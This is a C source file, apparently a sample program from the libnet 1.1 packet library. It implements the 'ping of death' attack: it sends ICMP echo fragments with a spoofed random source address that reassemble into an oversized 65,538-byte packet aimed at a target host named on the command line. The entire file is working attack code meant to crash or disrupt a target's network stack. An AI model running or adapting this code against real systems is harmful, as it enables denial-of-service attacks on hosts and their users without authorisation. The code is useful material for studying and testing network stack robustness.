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/*
* $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $
*
* libnet 1.1
* ICMP ping of death attack
*
* Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
* All rights reserved.
*
* Copyright (c) 1999 - 2001 Dug Song <dugsong@monkey.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
#if (HAVE_CONFIG_H)
#include "../include/config.h"
#endif
#include "./libnet_test.h"
#define FRAG_LEN 1472
int
main(int argc, char **argv)
{
libnet_t *l;
libnet_ptag_t ip;
libnet_ptag_t icmp;
struct libnet_stats ls;
u_long fakesrc, target;
u_char *data;
int c, i, flags, offset, len;
char errbuf[LIBNET_ERRBUF_SIZE];
printf("libnet 1.1 Ping of Death[raw]\n");
/*
* Initialize the library. Root priviledges are required.
*/
l = libnet_init(
LIBNET_RAW4, /* injection type */
NULL, /* network interface */
errbuf); /* errbuf */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
exit(EXIT_FAILURE);
}
if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1))
{
fprintf(stderr, "Usage: %s <target>\n", argv[0]);
exit(EXIT_FAILURE);
}
/* get random src addr. */
libnet_seed_prand(l);
fakesrc = libnet_get_prand(LIBNET_PRu32);
data = malloc(FRAG_LEN);
for (i = 0 ; i < FRAG_LEN ; i++)
{
/* fill it with something */
data[i] = 0x3a;
}
ip = LIBNET_PTAG_INITIALIZER;
icmp = LIBNET_PTAG_INITIALIZER;
for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN))
{
offset = i;
flags = 0;
if (offset < 65120)
{
flags = IP_MF;
len = FRAG_LEN;
}
else
{
/* for a total reconstructed length of 65538 bytes */
len = 410;
}
icmp = libnet_build_icmpv4_echo(
ICMP_ECHO, /* type */
0, /* code */
0, /* checksum */
666, /* id */
666, /* sequence */
data, /* payload */
len, /* payload size */
l, /* libnet handle */
icmp); /* libnet ptag */
if (icmp == -1)
{
fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
goto bad;
}
/* no reason to do this */
libnet_toggle_checksum(l, icmp, 0);
ip = libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */
0, /* TOS */
666, /* IP ID */
flags | (offset >> 3), /* IP Frag */
64, /* TTL */
IPPROTO_ICMP, /* protocol */
0, /* checksum */
fakesrc, /* source IP */
target, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
ip); /* libnet ptag */
if (ip == -1)
{
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
goto bad;
}
c = libnet_write(l);
if (c == -1)
{
fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
}
/* tcpdump-style jonks. */
printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0),
argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : "");
}
libnet_stats(l, &ls);
fprintf(stderr, "Packets sent: %lld\n"
"Packet errors: %lld\n"
"Bytes written: %lld\n",
(long long)ls.packets_sent, (long long)ls.packet_errors,
(long long)ls.bytes_written);
libnet_destroy(l);
free(data);
return (EXIT_SUCCESS);
bad:
libnet_destroy(l);
free(data);
return (EXIT_FAILURE);
}
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